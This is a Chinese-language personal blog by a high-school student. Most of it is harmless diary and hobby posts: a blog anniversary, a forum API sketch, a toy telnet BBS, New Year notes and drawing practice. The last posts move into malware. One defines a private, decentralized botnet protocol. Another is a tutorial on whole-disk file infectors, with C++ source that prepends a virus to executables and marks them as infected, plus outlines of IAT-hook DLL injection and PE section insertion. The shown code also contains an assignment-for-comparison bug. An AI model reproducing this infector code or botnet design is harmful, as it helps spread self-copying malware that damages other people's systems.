博客三周年啦~~~~

不知不觉,三年过去了,时间飞逝。当初是中考,现在我已经正在为了高考而奋斗了_(:з」∠)_。

随着年龄的增长,我也愈发愈觉得时间过得飞快。

从相对论来说这也许是对的,毕竟刚出生的娃一年的概念对他们来说无比漫长,因为他们没有经历过一年,根本没有这个的刻度尺,然而对于十八岁的人来说一年就相当于他们的人生的十八分之一,对于三十岁的人来说一年就相当于他们人生的三十分之一。

其实这个站当初并没有想到想要办多久,⑨BIE这个称呼也是随手打出来的。然后也慢慢的变成了现在的惯用称呼。

正所谓“没有意义就是最大的意义”是不是(笑

三周年了,虽然说我也是建站三周年的人了,但是对于web技术却十分的不懂,我也是个奇怪的站长。

可能是因为我常常放着不管的缘故吧。

博客随着我的修改也变得惨不忍睹,但是意外的却能用。

(虽然被蚊子吐槽你一个网页里面引用了三个各种不同版本的jq。hhhhhh

虽然我口口声声自己是后端狗,对前端不熟悉,然而我也知道,这只不过是我逃避的借口。

沉溺于后端小小的成就中,却不想花经历学习前端,却只能用这些借口骗自己。

其实我对于前端也是十分的向往,幻想着每次开坑都能写出漂亮的UI,毕竟最近开的好几十个坑就是碍于没有漂亮的界面所以搁置的。

(虽然说编写界面确实对我来说有点心里阴影就是了,无数的控件创建,无数的事件绑定,无数的坐标对其以及坐标计算。。。然而这些都是*屎MFC的锅

高考只剩六十多天了啊。想起开这个站的时候我距离中考时间也是只有三个月。

历史总是惊人的相似,然而我觉得这次的结果必将大有不同。

中考的失败导致高中三年的堕落(怠惰),因为完全没有时间研究自己喜欢的东西

这次高考希望我能找个好大学,拥有时间。时间,时间!

什么情况下干什么事,这就是我。

因此,也希望大学四年,这个小破站能一直陪伴着我。

Tags: 博客

占坑-大妈之家爬虫

1.jpg
2.jpg
3、.jpg
先占坑,没啥难度。

Tags: none

~魔法使之家~:Extra-WEB-API

预计路由

  • 额外功能类

    • 番组提醒表
    • 待续。。。
  • 讨论版类

讨论版类

用户登陆预计打算使用typecho内置的。/但是如何对接还未想好。/
对接已想好,利用header的js读取cookies像后端发送。
然后后端利用这cookies访问前端的插件验证身份。
目前打算仿照贴吧。
预计使用python-flask

额外功能类

番组提醒表:
犹豫使用typecho插件还是python,php我是真的不会啊QAQ

目前设计的讨论版

全篇结构=字典
也就是说不是结构.xxx而是结构[xxx]

对于所有的路由,都有PACKAGE结构来返回

PACKAGE

type : str  事件名称
data : T[]  任意结构/结构数组
code : int  事件代码
msg  : ste  详细信息

其中,data返回的是不同的结构体,结构体与type(事件绑定)。

目前的type(事件)有

TIPS_GET 获取帖子信息

TIPE_GET

tid : int 帖子ID
title : str 帖子标题
content : str 帖子内容
send : int 发送者uid
last : int 最后回复者的uid
ctime : long 帖子创建时间
mtime : long 帖子最后修改时间
comm_num : int 评论数
is_stuck : int 是否置顶
is_marked :int 是否加精

TIPS_LIST 获取帖子列表
未完待续

Tags: ero.ink

telnetBBS

闲着无聊和天台一起搞出来的。并木有什么技术含量
一个玩具而已,虽说基础功能是完成了的,但是拿来用还是元元不可能的。
因为天台他上学了,所以这个玩具就搁置啦
1.png
2.png
3.png
源码在这,得先运行py的main.py再运行golang的telnet.go
然后推荐使用Putty或者xshell连接,windows自带的那个连接器是另外一个协议我们还没写_(:з)∠)_
telnetBBS.rar

Tags: golang, telnet, bbs

新年快乐

越来越怠惰了。农历的正月初一,对于我来说才是正真的新年,也就说。再过几个小时就新年啦。
音乐考试也考完了。考了个不怎么理想,但是也不会太坏的成绩,理科排名107.。文科嘛emmmm估计都飘到400名左右啦。
自从为了依靠准备来已经快四个月没有上课了啊,再过三个月就是高考了。我为自己感觉好方啊啊啊。
最近这几天和蚊子沉迷深夜开车hhhh导致越来越怠惰,甚至怠惰到我都不开始写代码而是开始了摸鱼。
我也不知道为什么会突然翻出这个好久没用的板子,打着技术退步非常多的osu突发奇想开始画起了画。
废话可能有点多了,先祝诸位新年快乐,反正我这个站也没啥人看hhhhh
不知不觉,再过两个月,这个站就满三年了啊。
当初还是中考的时候突发奇想办的呢,时间过得真快。这都高考了。
嘛,话不多说了,再祝诸位新年快乐。
来自:好想吃零食又不能吃明明有那么多零食让我吃但我却正上吐下泻胃不舒服窝在房间里啥都干不了的⑨BIE

Tags: none

【不定时更新】每日摸鱼小合辑

开始练习板绘啦~qwq
不定时更新,啥时候心情好就在这个里面摸上几笔。
也许会记录自己的成长,也许会就此沉寂下去
随便画.sai

Tags: 摸鱼, 板绘

作为2018的第一场雪,今天的互联网上可到处都是雪的话题。
不得不说,又到了白色相簿的季节(其实早就到了
不只是因为寒冷还是心理因素,反正我胃是又疼了。
错就错在一夫一妻制(大雾
后宫才是最温暖人心的选项,也只有后宫才能让所有人不受到伤害!
所以/。。
给我几个妹子吧,让我也开开后宫2333(滑稽)

Tags: , 脑子不清醒, 博主是zz

永远的17岁

自由的代价是失去庇护所。
强者渴望自由,弱者畏惧自由。
伊卡洛斯获得了自由飞向了太阳。
愚民畏惧自由甘愿沦为阶下囚。

我似乎理解为何17岁备受关注了。

毕竟她间于自由与非自由之间。
宛如薛定谔的猫一样。拥有者叠加状态。
怪不得紫afdsgdalgndkalgkadgadg

Tags: zz

私有/去中心化僵尸网络协议定义

很显然,全盘感染鸽了hhhh,先设计这玩意。全盘感染晚点再说/


网络初始化

预先判断本地缓存节点,并且向节点发送当前的信息,提醒更新
信息格式为:ID,IP,PORT (类似DHT)

Tags: cpp, 僵尸网络

【CPP入坑】简单的几种全盘感染程序以及实现

//不知怎得突然就喜欢上了这些。于是就打算练手了。
//不得不说VS是真的好用,除了对我来说略卡(原因是因为我电脑配置实在低


正文

首先,我们现需要做什么,先罗列出大致步骤

  1. 遍历文件,搜索全盘可执行的exe文件
  2. 在文件中插入我们的恶意代码,并且让恶意代码拥有自动复制的功能
  3. 没了

确实一个全盘感染程序逻辑基本就这么简单。
我们先抛开1,因为1非常好实现。我们就先来说说2的实现方式。


感染方式:文件更添

首先是最LOW但是也是最最最简单的方式。
直接把病毒程序添加到被感染程序的头部,这样别人点击我们的程序时就会优先启动我们的。
当然只填充是不行的,还要让程序正常的执行。
这样就得在我们的程序的时候读取自身。然后寻找第二个MZ标识。
然后把第二个MZ表示写出,或者是在内存中创建映射然后执行。
这样程序就会优先执行我们的感染体,然后再执行咯。
部分代码如下:
Inject.cpp

//cpp
void InjectExec(char *FilePath){
char selfP[128];
int AllSize = 0;
GetModuleFileNameA(NULL, selfP, 128);
char *s1 = ReadF(selfP);//获取自身
int t1 = tmpSize;
char *buffer1 = (char*)malloc((int)tmpSize);//要把函数中的指针的值给取出来,否则会被分配掉
RtlMoveMemory(buffer1,s1,tmpSize);
int tmp =0;
if (buffer1[tmpSize - 1] == *"X"){
    bool x = true;
    do {
        
        if (x == true && buffer1[tmpSize-tmp]==*"X"){
            tmp += 1;
        }
        else{
            x = false;
            break;
        }

    } while (tmp < 5);//连续5次都是X,确认为标识符
    if (x = true){ return; }//已经感染过了,跳过
}
s1 = ReadF(FilePath);//获取被感染文件
int t2= tmpSize;
char *buffer2 = (char*)malloc((int)tmpSize);//同上
RtlMoveMemory(buffer2, s1, tmpSize);
AllSize = t1 + t2 + 5 ;
char *s = (char*)malloc((int)AllSize);
int i, i2,i3;
for (i = 0; i <= t1; i++){s[i] = buffer1[i];}
for (i2 = 0; i2 <= t2; i2++){ s[i + i2] = buffer2[i2]; }
for (i3 = 0; i3 <= 5; i3++){ s[i + i2 + i3] = *"X"; }//添加标识符
WriteF(FilePath,s,AllSize);//写出

}

方法优劣:
简单,快速,缺点就是容易恢复,而且修改面积大(在一个程序中添加了整整另外一个程序,非常容易看出来


感染方式二:IAT HOOK

PE文件结构中有一个是包含导入表,用PEiD就可以看到,包含着这个程序所需要使用的DLL。
我们只需要在这个表中添加我们自带的病毒DLL,就算程序用不引用也行。
这个方案更多用于内存注入而不是全盘感染
因为模块在载入内存空间时会默认引用一个DLL的析构程序,我们只需要把病毒的部分在析构程序中调用即可
著名的lpk.dll病毒虽然不是利用IAT HOOK,但是也是利用IAT表中的引用顺序漏洞,优先引用了本地路径的lpk文件而不是windir目录的,导致同目录Lpk病毒文件得以加载
相关文档:

  1. IAT Hook的原理
  2. API HOOK的 IAT方法

代码如下

//同样懒得写了,过几天再给出CPP的吧,不过我有发过python版本的IAT HOOK 

python-IAT HOOK

方法优劣:
虽然对程序的修改少了,但是在每个目录下都会添加一个dll十分显眼,就算把dll丢到环境变量中,传播时只复制被感染文件不复制dll文件也达不到传播效果了。


感染方案三:PE空隙插入

(前面两个只是正好说的,今天的主菜其实是这个XD
感染方式,就是在PE文件中添加新节,熟悉汇编的都知道,PE文件都分为代码段,数据段等等。
我们只需要修改PE文件,在里面加入一段新节。

1:将添加的代码写到目标PE文件中,可以把这个代码插入原代码所处的的section的空隙中,也可以通过添加一个新的section附在原文件的尾部
2:PE文件原来的入口地址必须被保存在添加的代码中,这样,这段代码执行完以后可以转移到原始文件处执行
3:PE文件头中的入口地址需要被修改,指向新添加代码中的入口地址
4:PE文件头中的一些值需要根据情况做相应的修改,以符合修改后的PE文件的情况。

其中,我们要拥有的技术有什么呢?

  • 编写“病毒代码”
  • 读入原入口点
  • 修改PE文件入口点
  • 添加新section或在section中插入代码
    了解了这些我们就开始吧。

相关文章:

  • [[原创]一步一步实现在PE文件中添加可执行代码][5]
  • [[原创]通过c++代码给PE文件添加一个区段][6]

(因为这个是汇编版,所以我得先填坑成CPP版

//未完待续,正在填坑(同时肛舰女人中XD

Tags: 汇编, C++, cpp, win32